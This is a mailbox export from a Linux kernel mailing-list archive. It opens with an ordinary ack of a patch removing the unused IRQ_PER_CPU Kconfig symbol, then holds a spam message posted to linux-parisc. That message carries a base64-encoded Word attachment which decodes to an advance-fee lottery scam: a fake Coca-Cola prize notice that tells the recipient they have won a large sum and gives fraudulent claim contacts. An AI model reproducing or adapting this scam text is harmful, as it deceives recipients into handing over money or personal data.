	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Paul Mundt <lethal@linux-sh.org>
To: James Hogan <james.hogan@imgtec.com>
Original-X-From: linux-hexagon-owner@vger.kernel.org Wed Nov 14 01:54:04 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1TYREr-00049R-E4
	for glphk-linux-hexagon@plane.gmane.org; Wed, 14 Nov 2012 01:53:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756067Ab2KNAxq (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Tue, 13 Nov 2012 19:53:46 -0500
Original-Received: from wolverine02.qualcomm.com ([199.106.114.251]:56669 "EHLO
	wolverine02.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756056Ab2KNAxp (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Tue, 13 Nov 2012 19:53:45 -0500
X-IronPort-AV: E=McAfee;i="5400,1158,6895"; a="6551360"
Original-Received: from pdmz-ns-snip_115_219.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.115.219])
  by wolverine02.qualcomm.com with ESMTP/TLS/DHE-RSA-AES256-SHA; 13 Nov 2012 16:53:45 -0800
Original-Received: from codeaurora.org (pdmz-ns-snip_218_1.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id E434010004C8;
	Tue, 13 Nov 2012 16:53:43 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1352807948-26920-1-git-send-email-james.hogan@imgtec.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:481 gmane.linux.kernel:1393294 gmane.linux.hardware.blackfin.kernel.devel:6774 gmane.linux.ports.ia64:22711 gmane.linux.ports.mips.general:36101 gmane.linux.ports.parisc:4672 gmane.linux.ports.ppc64.devel:86118 gmane.linux.ports.sh.devel:17531 gmane.linux.kernel.cross-arch:15854
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/481>

On Tue, Nov 13, 2012 at 11:59:08AM +0000, James Hogan wrote:
> The IRQ_PER_CPU Kconfig symbol was removed in the following commit:
> 
> Commit 6a58fb3bad099076f36f0f30f44507bc3275cdb6 ("genirq: Remove
> CONFIG_IRQ_PER_CPU") merged in v2.6.39-rc1.
> 
> But IRQ_PER_CPU wasn't removed from any of the architecture Kconfig
> files where it was defined or selected. It's completely unused so remove
> the remaining references.
> 
> Signed-off-by: James Hogan <james.hogan@imgtec.com>
> Cc: Thomas Gleixner <tglx@linutronix.de>
> Cc: Mike Frysinger <vapier@gentoo.org>
> Cc: Richard Kuo <rkuo@codeaurora.org>
> Cc: Tony Luck <tony.luck@intel.com>
> Cc: Fenghua Yu <fenghua.yu@intel.com>
> Cc: Ralf Baechle <ralf@linux-mips.org>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
> Cc: Paul Mackerras <paulus@samba.org>
> Cc: Paul Mundt <lethal@linux-sh.org>
> ---
> Based on v3.7-rc5.
> 
> Compile tested defconfigs for bfin, ia64, mips, parisc, powerpc, sh, but
> not hexagon.
> 
> Grepped entire tree to check no references to CONFIG_IRQ_PER_CPU, and
> grepped arch/ for Kconfig files referencing IRQ_PER_CPU.
> 
>  arch/blackfin/Kconfig |    1 -
>  arch/hexagon/Kconfig  |    1 -
>  arch/ia64/Kconfig     |    1 -
>  arch/mips/Kconfig     |    1 -
>  arch/parisc/Kconfig   |    1 -
>  arch/powerpc/Kconfig  |    1 -
>  arch/sh/Kconfig       |    3 ---
>  7 files changed, 0 insertions(+), 9 deletions(-)
> 

Hexagon's was commented out anyways, but thanks for pointing it out.

Acked-by: Richard Kuo <rkuo@codeaurora.org>

-- 

Sent by an employee of the Qualcomm Innovation Center, Inc.
The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum,
hosted by The Linux Foundation

From - Thu Nov 08 21:08:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: COCA-COLA COMPANY PRIZE REDEMPTION CENTRE 
	<prizeredemptioncocacola@hotmail.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: FROM: COCA-COLA COMPANY PRIZE REDEMPTION CENTRE OPENS ATTACHMENTS.
Date: Thu, 15 Nov 2012 00:59:31 -0800 (PST)
Lines: 801
Approved: news@gmane.org
Message-ID: <1352969971.36019.YahooMailClassic@web5709.biz.mail.ne1.yahoo.com>
Reply-To: prizeredemptioncocacolamanager@hotmail.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="953002845-896190504-1352969971=:36019"
X-Trace: ger.gmane.org 1352969978 29146 80.91.229.3 (15 Nov 2012 08:59:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Nov 2012 08:59:38 +0000 (UTC)
To: undisclosed recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 15 09:59:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TYvIZ-0008TL-61
	for glpp-linux-parisc@plane.gmane.org; Thu, 15 Nov 2012 09:59:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1423592Ab2KOI7g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Nov 2012 03:59:36 -0500
Original-Received: from nm6-vm1.bullet.mail.sp2.yahoo.com ([98.139.91.207]:35170 "EHLO
	nm6-vm1.bullet.mail.sp2.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1423500Ab2KOI7f (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Nov 2012 03:59:35 -0500
Original-Received: from [72.30.22.93] by nm6.bullet.mail.sp2.yahoo.com with NNFMP; 15 Nov 2012 08:59:33 -0000
Original-Received: from [66.94.237.109] by tm15.bullet.mail.sp2.yahoo.com with NNFMP; 15 Nov 2012 08:59:32 -0000
Original-Received: from [127.0.0.1] by omp1014.access.mail.mud.yahoo.com with NNFMP; 15 Nov 2012 08:59:32 -0000
X-Yahoo-Newman-Property: ymail-5
X-Yahoo-Newman-Id: 105286.7424.bm@omp1014.access.mail.mud.yahoo.com
Original-Received: (qmail 41605 invoked by uid 60001); 15 Nov 2012 08:59:31 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1352969971; bh=FCb2QlNRbo3V5rLxW4iKwus1plxP2aWfaNYW7E1Nqh8=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:Message-ID:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=m+K5aVTUqDzCGCwpXMtLNSSqSaTpRTvNgJK7zXnrdK2hhmaPFT5yx301TwuC43ok8+i4se6LaJVvD/feuLdlqgj+PS5bdL+qkYXnzalQZQqspBOi0FiHiSgQPF1kOHbJ42Xb4Z1V9+zl+nuOR8/ahYuHoj0HvCkyiuvrvtTDWA8=
X-YMail-OSG: fQWgML0VM1lj.h685wRA.eKOpSt92zsmRJN2A_lxyl6d.hn
 pcEiPqWmzt24mxoiLhLhXrlqYDXHMwjAnee0kiuP0SgQbOuNRQU.Y3VtYZg_
 rX3P2M4PRqM1TEoVgd9IoA7PPRqOxgPaxpQE_hzHYP0dd.t2_sCEGHMLfvMV
 SqTYqBmvxrLaBnpjMnZuY1j.OPss3AuNCyYl4piTqR9_XHYaV6ZrvrfGoLIs
 HWqRYVO6Oxw9XmeLSGGdCPKVkDTm7VxaMpjlCwWjmJMKZYLc4qa70_9iKTUt
 L4Jsw1UKH1iEeaXs8VqxlNQs1.sizPdessMQXL7Bjzw4wzFMIyXWWwFvuZiD
 1SLV.Dg4OH7kaXYbhwkVZXSMG1bb7QzO8wewsd22gXRYKwZ_Z0xFAZ7RCj8T
 JsRXSXIcufaxcvseXBmHsD6Gwtip2hD4UU9C7TXd9iEhjrF21Pl0CML7RbTZ
 9DGlRTE0ok6YwYJxjd0KSqXP8kxKMy8jeRXvGN1yLm0KnsL9mUnRf_g--
Original-Received: from [41.146.30.204] by web5709.biz.mail.ne1.yahoo.com via HTTP; Thu, 15 Nov 2012 00:59:31 PST
X-RocketYMMF: webokoza006
X-Mailer: YahooMailClassic/15.0.8 YahooMailWebService/0.8.123.460
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4673
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4673>

--953002845-896190504-1352969971=:36019
Content-Type: text/plain; charset=us-ascii

--953002845-896190504-1352969971=:36019
Content-Type: application/msword; name=THE
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="THE COCA-COLA COMPANY PRIZE REDEMPTION CENTRE.doc"

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAB
AAAAQAAAAAAAAAAAEAAAQgAAAAEAAAD+////AAAAAD8AAAD/////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
///////////////////////spcEAcWAJBAAA+BK/AAAAAAAAEAAAAAAABgAA
CikAAA4AYmpianFQcVAAAAAAAAAAAAAAAAAAAAAAAAAJBBYALjAAABM6AQAT
OgEAEQcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAA
AAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAKQAAAAAAIQEAAAA
AAAAhAQAAIQEAAAAAAAAhAQAAAAAAACEBAAAAAAAAIQEAAAAAAAAhAQAABQA
AAAAAAAAAAAAAJgEAAAAAAAAoAwAAAAAAACgDAAAAAAAAKAMAAAAAAAAoAwA
AGQAAAAEDQAAFAAAAJgEAAAAAAAA/BYAAOwAAAAkDQAAFgAAADoNAAAAAAAA
Og0AAAAAAAA6DQAAAAAAADoNAAAAAAAAFQ4AAAAAAAAVDgAAAAAAABUOAAAA
AAAAVxYAAAIAAABZFgAAAAAAAFkWAAAAAAAAWRYAAAAAAABZFgAAAAAAAFkW
AAAAAAAAWRYAACQAAADoFwAAaAIAAFAaAACMAAAAfRYAADkAAAAAAAAAAAAA
AAAAAAAAAAAAhAQAAAAAAABVEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVDgAA
AAAAABUOAAAAAAAAVRIAAAAAAABVEgAAAAAAAH0WAAAAAAAAAAAAAAAAAACE
BAAAAAAAAIQEAAAAAAAAOg0AAAAAAAAAAAAAAAAAADoNAADbAAAAthYAABYA
AABPEwAAAAAAAE8TAAAAAAAATxMAAAAAAABVEgAAFgAAAIQEAAAAAAAAOg0A
AAAAAACEBAAAAAAAADoNAAAAAAAAVxYAAAAAAAAAAAAAAAAAAE8TAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAVRIAAAAAAABXFgAAAAAAAAAAAAAAAAAATxMAAAAAAAAAAAAAAAAAAE8T
AAAAAAAAhAQAAAAAAACEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATxMAAAAAAAA6DQAA
AAAAABgNAAAMAAAAAC5flIi9zQEAAAAAAAAAAKAMAAAAAAAAaxIAAAoAAABP
EwAAAAAAAAAAAAAAAAAAOxYAABwAAADMFgAAMAAAAPwWAAAAAAAATxMAAAAA
AADcGgAAAAAAAHUSAADQAAAA3BoAAAAAAABPEwAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABPEwAA8AEAANwaAAAAAAAAAAAAAAAAAACEBAAAAAAAAD8VAAD8
AAAAFQ4AAAIBAAAXDwAAuAAAAE8TAAAAAAAAzw8AAJQAAABjEAAA8gEAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFQ4AAAAAAAAVDgAAAAAA
ABUOAAAAAAAAfRYAAAAAAAB9FgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAARRMAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAABUOAAAAAAAAFQ4AAAAAAAAVDgAAAAAAAPwWAAAAAAAAVRIAAAAA
AABVEgAAAAAAAFUSAAAAAAAAVRIAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQA
AAAAAACYBAAA5AUAAHwKAAAkAgAAmAQAAAAAAACYBAAAAAAAAJgEAAAAAAAA
fAoAAAAAAACYBAAAAAAAAJgEAAAAAAAAmAQAAAAAAACEBAAAAAAAAIQEAAAA
AAAAhAQAAAAAAACEBAAAAAAAAIQEAAAAAAAAhAQAAAAAAAD/////AAAAAAIA
DAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMgSU5D
TFVERVBJQ1RVUkUgImh0dHA6Ly93d3cubXljb2tlcmV3YXJkcy5jb20vZmxl
eC1tb2QvZGVza3RvcC9tY3IvaW1hZ2VzL21jcl9sb2dvLmdpZiIgXCogTUVS
R0VGT1JNQVRJTkVUIBQBFQ1GUk9NOiBUSEUgQ09DQS1DT0xBIENPTVBBTlkg
UFJJWkUgUkVERU1QVElPTiBDRU5UUkUNMjAxMiBDb2NhLUNvbGEgV29ybGQg
UGFjaWZpYyBQcm9tb3Rpb25zIFJld2FyZHMNV2ViIFNpdGU6oHd3dy5teWNv
a2VyZXdhcmRzLmNvbQ0NRGVhciBXaW5uZXIsDQ1UaGlzIGlzIHRvIGluZm9y
bSB5b3UgdGhhdCB5b3UgaGF2ZSB3b24gdGhlIHRvdGFsIHN1bSBvZiAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAApCAyACwAOQA1ADAALgAwADAAMAAuADAAMAAgACgAVAB3
AG8AIABNAGkAbABsAGkAbwBuACwAIABOAGkAbgBlACAASAB1AG4AZAByAGUA
ZAAgAEEAbgBkACAARgBpAGYAdAB5ACAAUABvAHUAbgBkAHMAKQAgAGYAbwBy
ACAAdABoAGkAcwAgADIAMAAxADIAIABJAG4AdABlAHIAbgBhAHQAaQBvAG4A
YQBsACAARQAtAG0AYQBpAGwAIABEAHIAYQB3ACAAdwBoAGkAYwBoACAAdwBh
AHMAIABvAHIAZwBhAG4AaQB6AGUAZAAgAGEAbgBkACAAUwBwAG8AbgBzAG8A
cgBlAGQAIABiAHkAIAB0AGgAZQAgAEMAbwBjAGEALQBDAG8AbABhACAAQwBv
AG0AcABhAG4AeQAgAFAAcgBvAG0AbwB0AGkAbwBuAHMAIABEAGUAcABhAHIA
dABtAGUAbgB0ACAAKABDAEMAUABEACkALgANAA0AWQBvAHUAcgAgAGUAbQBh
AGkAbAAgAGEAZABkAHIAZQBzAHMAIABpAHMAIABhAG0AbwBuAGcAIAB0AGgA
ZQAgAHcAaQBuAG4AZQByAHMAIABpAG4AIABhACAAcgBhAG4AZABvAG0AIABX
AG8AcgBsAGQAIABXAGkAZABlACAAVwBlAGIAIABjb21wdXRlcml6ZWQgZHJh
dyBzeXN0ZW0sIGV4dHJhY3RlZCBmcm9tIG92ZXIgYSBtaWxsaW9uIGNvbXBh
bmllcyBhbmQgaW5kaXZpZHVhbCBlbWFpbCBhZGRyZXNzIG9mIHRoZSBwZW9w
bGUgdGhhdCBhcmUgYWN0aXZlIG9ubGluZS4gU2l4IHBlb3BsZSBhcmUgc2Vs
ZWN0ZWQgeWVhcmx5IHRvIGJlbmVmaXQgZnJvbSB0aGlzIGF3YXJkIGFuZCB5
b3UgYXJlIG9uZSBvZiB0aGUgU2VsZWN0ZWQgV2lubmVycy4NDVByaXplIGF3
YXJkIG11c3QgYmUgY2xhaW1lZCBub3QgbGF0ZXIgdGhhbiA3IHdvcmtpbmcg
ZGF5cyBmcm9tIHRoZSBkYXRlIG9mIERyYXcgTm90aWZpY2F0aW9uLiBBbnkg
UHJpemUgbm90IGNsYWltZWQgd2l0aGluIHRoaXMgcGVyaW9kIHdpbGwgYmUg
Y29uZmlzY2F0ZSBhbmQgdHJhbnNmZXIgdG8gY2hhcml0eSBvcmdhbml6YXRp
b25zLg0NWW91IGFyZSBhZHZpY2UgdG8gY29udGFjdCBvdXIgUmVnaW9uYWwg
SGVhZCBPZmZpY2UgaW4gU291dGggQWZyaWNhIHdpdGggdGhlIGNvbnRhY3Qg
ZGV0YWlscyBiZWxvdzsNDUhFQUQgT0ZGSUNFIExPTkRPTSBVSzoNRnJvbSBU
aGUgRGVzayBvZiB0aGUgUHJvbW90aW9ucyBNYW5hZ2VyDUludGVybmF0aW9u
YWwgUHJvbW90aW9ucyBDb2NhLUNvbGENMTI0IFN0b2NrcG9ydCBSb2FkLCBM
b25nIHNpZ2h0LCANTWFuY2hlc3RlciBNNjAgMkRCIC0gVW5pdGVkIEtpbmdk
b20gVGVsZXBob25lOiArNDQgNzAzMTc0ODY4Mi4NDVNPVVRIIEFGUklDQSBP
RkZJQ0U6DU5hbWU6IERyLiBKb2huc29uIEh1Z2UuDShEaXJlY3RvciwgQ2xh
aW0gRGVwYXJ0bWVudCkNIzE0IE9zYm9ybmUgUm9hZCwgYmVkZm9yZHZpZXcN
Sm9oYW5uZXNidXJnLCBTb3V0aCBBZnJpY2ENVGVsZXBob25lOiAwMDI3IDg0
MDgxNzA1Mw1FLW1haWw6IGRyc2NvbXBhbnlhZGFtc3dpbGxpYW1qb2huc29u
QGFsdW1uaWRpcmVjdG9yLmNvbQ0NWW91IGhhdmUgdG8gcHJvdmlkZSB0aGUg
Zm9sbG93aW5nIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAYAAAEIAABsCAAAbwgAAHAIAAB2CAAAeggA
AKMIAACkCAAAqAgAANQIAADXCAAA9/P32L2ih2xRbDQAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4FWhGKnsAFmiGOD8A
NQiBPioBQioCT0oCAFFKAgBeSgIAZkgAAXBoAAD/AHHKCgAAAP////8AAAAA
NRVoRip7ABZocGFkADUIgUIqAk9KAgBRSgIAXkoCAGZIAAFwaAAA/wBxygoA
AAD/////AAAANRVoRip7ABZohjg/ADUIgUIqAk9KAgBRSgIAXkoCAGZIAAFw
aAAA/wBxygoAAAD/////AAAANRVoRip7ABZoM1nmADUIgUIqAk9KAgBRSgIA
XkoCAGZIAAFwaAAA/wBxygoAAAD/////AAAANRVoRip7ABZo3zKQADUIgUIq
Ak9KAgBRSgIAXkoCAGZIAAFwaAAA/wBxygoAAAD/////AAAANRVoRip7ABZo
0FkAADUIgUIqAk9KAgBRSgIAXkoCAGZIAAFwaAAA/wBxygoAAAD/////AAAA
NBZoRip7AEIqAkNKHABPSgIAUUoCAF5KAgBhShwAZkgAAXBoAAD/AHHKCgAA
AP////8AAAAABhZoRip7AAAPA2oAAAAAFmhGKnsAVQgBAAsABgAAcAgAAKQI
AADUCAAA9AgAAPUIAAACCQAAAwkAAHgLAAB6CwAA6AwAAOkMAACqDQAAqw0A
AA4OAAAPDgAAJg4AAE4OAABxDgAAkg4AANEOAADSDgAA5w4AAP8OAAAcDwAA
Og8AAFUPAAD6AAAAAAAAAAAAAAAA8gAAAAAAAAAAAAAAAPIAAAAAAAAAAAAA
AADyAAAAAAAAAAAAAAAA+gAAAAAAAAAAAAAAAPoAAAAAAAAAAAAAAAD6AAAA
AAAAAAAAAAAA6gAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAADqAAAAAAAAAAAA
AAAA+gAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAA6gAA
AAAAAAAAAAAAAOoAAAAAAAAAAAAAAADqAAAAAAAAAAAAAAAA5QAAAAAAAAAA
AAAAAOUAAAAAAAAAAAAAAADlAAAAAAAAAAAAAAAA5QAAAAAAAAAAAAAAAOUA
AAAAAAAAAAAAAADlAAAAAAAAAAAAAAAA4AAAAAAAAAAAAAAAAOAAAAAAAAAA
AAAAAADgAAAAAAAAAAAAAAAA4AAAAAAAAAAAAAAAAAAAAAQAAGdkLXRNAAAE
AABnZPRUAAAABwAAAyQDYSQDZ2RpHqIAAAcAAAMkAWEkAWdkRip7AAAEAABn
ZIY4PwAAGgAGAAAKKQAA/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAABAQAAQEB1wgAANwIAADdCAAA3ggAAPQIAAD1
CAAAAAkAAAIJAAADCQAA48anxoluUDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADoVaNBZAAAWaNBZ
AABCKgFDShAAT0oCAFFKAgBeSgIAYUoQAGZIAAFwaAAAAABxygoAAAD/////
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
